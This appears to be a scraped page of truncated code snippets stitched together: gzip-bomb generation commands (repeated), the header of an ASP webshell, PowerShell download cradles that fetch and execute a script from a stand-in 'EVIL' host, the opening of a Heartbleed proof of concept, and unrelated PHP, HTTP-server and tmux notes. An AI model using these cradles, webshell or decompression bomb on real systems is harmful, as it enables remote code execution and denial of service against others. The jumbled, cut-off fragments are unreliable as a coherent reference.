- Generate the file:
$ awk 'BEGIN { for(c=0;c<10000000;c++) printf "<p>LOL</p>" }' > 100M.html
$ (for I in `seq 1 100`; do cat 100M.html; done) | pv | gzip -9 > 10G.boomgz
- Check it is indeed good:
$ awk 'BEGIN { for(c=0;c<10000000;c++) printf "<p>LOL</p>" }' > 100M.html
$ (for I in `seq 1 100`; do cat 100M.html; done) | pv | gzip -9 > 10G.boomgz
| <!-- | |
| ASP Webshell | |
| Working on latest IIS | |
| Referance :- | |
| https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.asp | |
| http://stackoverflow.com/questions/11501044/i-need-execute-a-command-line-in-a-visual-basic-script | |
| http://www.w3schools.com/asp/ |
| # normal download cradle | |
| IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") | |
| # PowerShell 3.0+ | |
| IEX (iwr 'http://EVIL/evil.ps1') | |
| # hidden IE com object | |
| $ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r | |
| # Msxml2.XMLHTTP COM object |
| #!/usr/bin/python | |
| # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) | |
| # The author disclaims copyright to this source code. | |
| import sys | |
| import struct | |
| import socket | |
| import time | |
| import select |
| <?php | |
| const SPACING_X = 1; | |
| const SPACING_Y = 0; | |
| const JOINT_CHAR = '+'; | |
| const LINE_X_CHAR = '-'; | |
| const LINE_Y_CHAR = '|'; | |
| $table = array( | |
| array( |
Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.
$ python -m SimpleHTTPServer 8000As configured in my dotfiles.
start new:
tmux
start new with session name: